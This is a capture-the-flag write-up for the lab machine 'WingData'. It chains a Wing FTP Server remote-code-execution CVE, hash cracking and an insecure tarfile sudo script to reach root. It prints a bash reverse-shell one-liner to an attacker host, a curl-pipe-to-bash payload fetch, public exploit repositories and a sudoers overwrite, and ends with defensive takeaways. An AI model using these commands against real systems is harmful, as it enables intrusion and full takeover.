WingData

Summary of Exploitation

WingData is an easy Linux box chaining an unauthenticated Wing FTP Server RCE with an insecure-tarfile sudo script. Service exploitation drops a shell, a config-file hash is cracked for SSH, and a root-run Python restore script is abused to overwrite /etc/sudoers. The chain proceeds as follows:

1. Web/vhost enumeration identifies Wing FTP Server v7.4.3 on ftp.wingdata.htb.
2. CVE-2025-47812 — an unauthenticated RCE in Wing FTP yields a shell as wingftp.
3. Credential extraction — the wacky.xml user config holds a crackable WingFTP hash.
4. Hash cracking (hashcat -m 1410) recovers the password, granting SSH as wacky.
5. CVE-2025-4517 — a root sudo restore script uses tarfile.extractall() insecurely; a malicious archive overwrites /etc/sudoers for a root shell.

---

Recon Phase

An initial Nmap scan was run against the target:

nmap -sCV -A <target-ip>

Results:

Port	State	Service	Version / Note
22	open	ssh	OpenSSH 9.2p1 (Debian)
80	open	http	Apache 2.4.66 → wingdata.htb

The host and FTP subdomain were added to /etc/hosts:

echo "<target-ip> wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts

---

Web Enumeration

ffuf -u http://wingdata.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt \
     -mc 200,301,302,403 -t 40

Notable findings: /assets, /vendor. Browsing to http://ftp.wingdata.htb reveals Wing FTP Server v7.4.3 — vulnerable to CVE-2025-47812.

---

Exploitation Phase

Step 1 — CVE-2025-47812: unauthenticated RCE → shell as wingftp

Wing FTP Server v7.4.3 is exploitable pre-auth. A payload script is hosted over HTTP and fetched/executed by the target via the exploit:

git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
cd CVE-2025-47812-poc

# listener
nc -lvnp 5555

# serve the payload
echo 'bash -i >& /dev/tcp/<attacker-ip>/5555 0>&1' > /tmp/shell.sh
cd /tmp && python3 -m http.server 8080

# trigger RCE
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
        -c "curl http://<attacker-ip>:8080/shell.sh|bash" -v

A shell landed as the wingftp service user.

Step 2 — Credential extraction → hash cracking → SSH as wacky

Wing FTP stores per-user config (including the password hash) under its data directory:

cat /opt/wftpserver/Data/1/users/wacky.xml

The extracted hash is cracked with hashcat’s WingFTP mode:

echo "HASH:WingFTP" > wacky.txt
hashcat -m 1410 wacky.txt /usr/share/wordlists/rockyou.txt

Cracked: !#*********Bride5

The password reuses for SSH:

ssh wacky@<target-ip>
# password: !#*********Bride5

User flag:

cat ~/user.txt

Step 3 — CVE-2025-4517: insecure tarfile extraction → root

sudo -l reveals a root-run backup-restore script accepting a user-supplied argument:

sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The script restores a tar archive with tarfile.extractall() and no path validation (CVE-2025-4517), so a crafted archive containing path-traversal members can overwrite /etc/sudoers and grant the current user full sudo:

# On attacker
git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git
cd CVE-2025-4517-POC-HTB-WingData
python3 -m http.server 80

# On target
cd /tmp
wget http://<attacker-ip>/CVE-2025-4517-POC.py
python3 /tmp/CVE-2025-4517-POC.py

With /etc/sudoers rewritten, a root shell is one command away:

sudo /bin/bash

Root Flag Successfully Obtained

id
# uid=0(root)

cat /root/root.txt

---

Key Takeaways

• Fingerprint the FTP subdomain. The ftp.wingdata.htb vhost exposed Wing FTP v7.4.3, pinning the box directly to CVE-2025-47812.
• App config stores crackable secrets. wacky.xml held the WingFTP password hash; hashcat mode -m 1410 plus rockyou turned it into SSH access.
• tarfile.extractall() is a path-traversal sink. A root script that extracts an attacker-controlled archive without validating member paths can be steered to overwrite /etc/sudoers — the essence of CVE-2025-4517.
• Audit every NOPASSWD wildcard. The * in the sudoers entry let the malicious archive be passed straight into the vulnerable extractor.

---

Full Attack Chain

ffuf / vhost → Wing FTP Server v7.4.3 (ftp.wingdata.htb)
   └─ CVE-2025-47812 unauth RCE  ──>  shell as wingftp
        └─ wacky.xml hash  ──>  hashcat -m 1410  ──>  wacky password
             └─ SSH as wacky   [USER]
                  └─ sudo restore_backup_clients.py (tarfile.extractall)
                       └─ CVE-2025-4517  ──>  overwrite /etc/sudoers  ──>  root   [ROOT]